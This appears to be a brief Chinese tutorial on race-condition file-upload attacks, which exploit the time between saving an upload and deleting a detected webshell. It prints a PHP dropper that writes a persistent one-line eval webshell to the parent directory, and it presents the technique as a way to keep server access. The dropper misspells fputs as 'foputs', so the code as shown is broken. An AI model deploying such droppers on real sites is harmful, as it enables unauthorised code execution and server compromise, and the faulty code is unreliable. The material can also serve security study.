競爭條件攻擊屬於文件上傳漏洞的一種。
一些網站上傳文件的邏輯是先允許上傳文件,再檢測文件中是否包含webshell的腳本,如果存在則刪除webshell文件。
但是攻擊者可以利用上傳文件和刪除文件的時間差來完成文件上傳漏洞攻擊。
攻擊者可以上傳類似代碼hacker.php:
<?php foputs(fopen('../shell.php','w'),'<?php @eval($_POST[a]) ?>'); ?>
訪問文件時,文件代碼會執行,在hacker.php文件所在目錄下新建一個shell.php,內容即:
<?php @eval($_POST[a]) ?>
舊的webshell文件本來就只是一個墊腳石的存在,刪不刪除無所謂,我們利用新建的webshell文件可以進行漏洞攻擊
競爭條件攻擊只試用於繞過后端的檢測,對於繞過前端代碼檢測方法是沒有用的。
如果攻擊者能講兩者很好得結合起來,說不定會有成效。